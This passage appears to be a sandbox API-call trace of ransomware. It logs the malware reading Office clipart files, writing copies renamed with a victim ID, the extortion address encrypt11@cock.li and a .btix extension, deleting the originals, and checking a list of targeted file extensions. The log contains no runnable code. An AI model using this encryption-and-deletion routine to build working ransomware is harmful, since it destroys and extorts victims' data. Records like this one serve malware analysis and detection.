Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.281] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.281] GetLastError () returned 0x0 [0144.281] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0144.323] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0144.324] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.324] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.324] SetEndOfFile (hFile=0x574) returned 1 [0144.332] CloseHandle (hObject=0x574) returned 1 [0144.333] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.333] SetEndOfFile (hFile=0x390) returned 1 [0144.335] CloseHandle (hObject=0x390) returned 1 [0144.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0144.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".doc") returned 4 [0144.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString=".docx") returned 5 [0144.336] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.336] lstrlenW (lpString=".pdf") returned 4 [0144.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString=".xls") returned 4 [0144.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.336] lstrlenW (lpString=".xlsx") returned 5 [0144.336] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.336] lstrlenW (lpString=".ppt") returned 4 [0144.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".zip") returned 4 [0144.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.336] lstrlenW (lpString=".rar") returned 4 [0144.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString=".bz2") returned 4 [0144.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString=".7z") returned 3 [0144.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".dbf") returned 4 [0144.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".1cd") returned 4 [0144.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".jpg") returned 4 [0144.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.336] lstrlenW (lpString=".doc") returned 4 [0144.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.336] lstrlenW (lpString=".docx") returned 5 [0144.337] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.337] lstrlenW (lpString=".pdf") returned 4 [0144.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString=".xls") returned 4 [0144.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.337] lstrlenW (lpString=".xlsx") returned 5 [0144.337] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.337] lstrlenW (lpString=".ppt") returned 4 [0144.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.337] lstrlenW (lpString=".zip") returned 4 [0144.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.337] lstrlenW (lpString=".rar") returned 4 [0144.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString=".bz2") returned 4 [0144.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString=".7z") returned 3 [0144.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.337] lstrlenW (lpString=".dbf") returned 4 [0144.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.337] lstrlenW (lpString=".1cd") returned 4 [0144.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0144.337] lstrlenW (lpString=".jpg") returned 4 [0144.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.338] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.338] lstrlenW (lpString="J0105600.WMF") returned 12 [0144.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.338] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=8680) returned 1 [0144.338] CloseHandle (hObject=0x390) returned 1 [0144.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 0x220 [0144.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.339] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.339] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.339] GetLastError () returned 0x0 [0144.339] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x21e8, lpOverlapped=0x0) returned 1 [0144.350] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x21f0, lpOverlapped=0x0) returned 1 [0144.369] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.369] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.369] SetEndOfFile (hFile=0x574) returned 1 [0144.370] CloseHandle (hObject=0x574) returned 1 [0144.370] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.370] SetEndOfFile (hFile=0x390) returned 1 [0144.372] CloseHandle (hObject=0x390) returned 1 [0144.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0144.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.374] lstrlenW (lpString=".doc") returned 4 [0144.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.374] lstrlenW (lpString=".docx") returned 5 [0144.374] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.374] lstrlenW (lpString=".pdf") returned 4 [0144.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.374] lstrlenW (lpString=".xls") returned 4 [0144.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.374] lstrlenW (lpString=".xlsx") returned 5 [0144.374] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.374] lstrlenW (lpString=".ppt") returned 4 [0144.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.374] lstrlenW (lpString=".zip") returned 4 [0144.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.374] lstrlenW (lpString=".rar") returned 4 [0144.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".bz2") returned 4 [0144.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".7z") returned 3 [0144.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString=".dbf") returned 4 [0144.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString=".1cd") returned 4 [0144.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString=".jpg") returned 4 [0144.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString=".doc") returned 4 [0144.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".docx") returned 5 [0144.375] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.375] lstrlenW (lpString=".pdf") returned 4 [0144.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".xls") returned 4 [0144.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.375] lstrlenW (lpString=".xlsx") returned 5 [0144.375] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.375] lstrlenW (lpString=".ppt") returned 4 [0144.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.375] lstrlenW (lpString=".zip") returned 4 [0144.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.375] lstrlenW (lpString=".rar") returned 4 [0144.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".bz2") returned 4 [0144.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.375] lstrlenW (lpString=".7z") returned 3 [0144.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.376] lstrlenW (lpString=".dbf") returned 4 [0144.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.376] lstrlenW (lpString=".1cd") returned 4 [0144.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105600.WMF") returned 68 [0144.376] lstrlenW (lpString=".jpg") returned 4 [0144.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.376] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.376] lstrlenW (lpString="J0105638.WMF") returned 12 [0144.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.376] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10364) returned 1 [0144.376] CloseHandle (hObject=0x390) returned 1 [0144.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0144.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0144.378] GetLastError () returned 0x0 [0144.378] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x287c, lpOverlapped=0x0) returned 1 [0144.381] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2880, lpOverlapped=0x0) returned 1 [0144.382] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.382] WriteFile (in: hFile=0x574, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.382] SetEndOfFile (hFile=0x574) returned 1 [0144.382] CloseHandle (hObject=0x574) returned 1 [0144.382] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.382] SetEndOfFile (hFile=0x390) returned 1 [0144.384] CloseHandle (hObject=0x390) returned 1 [0144.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.385] lstrlenW (lpString=".doc") returned 4 [0144.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString=".docx") returned 5 [0144.385] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.385] lstrlenW (lpString=".pdf") returned 4 [0144.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString=".xls") returned 4 [0144.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.385] lstrlenW (lpString=".xlsx") returned 5 [0144.385] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.385] lstrlenW (lpString=".ppt") returned 4 [0144.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.385] lstrlenW (lpString=".zip") returned 4 [0144.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.386] lstrlenW (lpString=".rar") returned 4 [0144.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".bz2") returned 4 [0144.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".7z") returned 3 [0144.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString=".dbf") returned 4 [0144.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString=".1cd") returned 4 [0144.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString=".jpg") returned 4 [0144.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString=".doc") returned 4 [0144.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".docx") returned 5 [0144.386] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0144.386] lstrlenW (lpString=".pdf") returned 4 [0144.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".xls") returned 4 [0144.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.386] lstrlenW (lpString=".xlsx") returned 5 [0144.386] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0144.386] lstrlenW (lpString=".ppt") returned 4 [0144.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.386] lstrlenW (lpString=".zip") returned 4 [0144.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.386] lstrlenW (lpString=".rar") returned 4 [0144.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.386] lstrlenW (lpString=".bz2") returned 4 [0144.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.387] lstrlenW (lpString=".7z") returned 3 [0144.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.387] lstrlenW (lpString=".dbf") returned 4 [0144.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.387] lstrlenW (lpString=".1cd") returned 4 [0144.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0144.387] lstrlenW (lpString=".jpg") returned 4 [0144.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.387] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.387] lstrlenW (lpString="J0105710.WMF") returned 12 [0144.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.387] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=13808) returned 1 [0144.387] CloseHandle (hObject=0x390) returned 1 [0144.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0144.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.388] SetFilePointerEx (in: hFile=0x390, 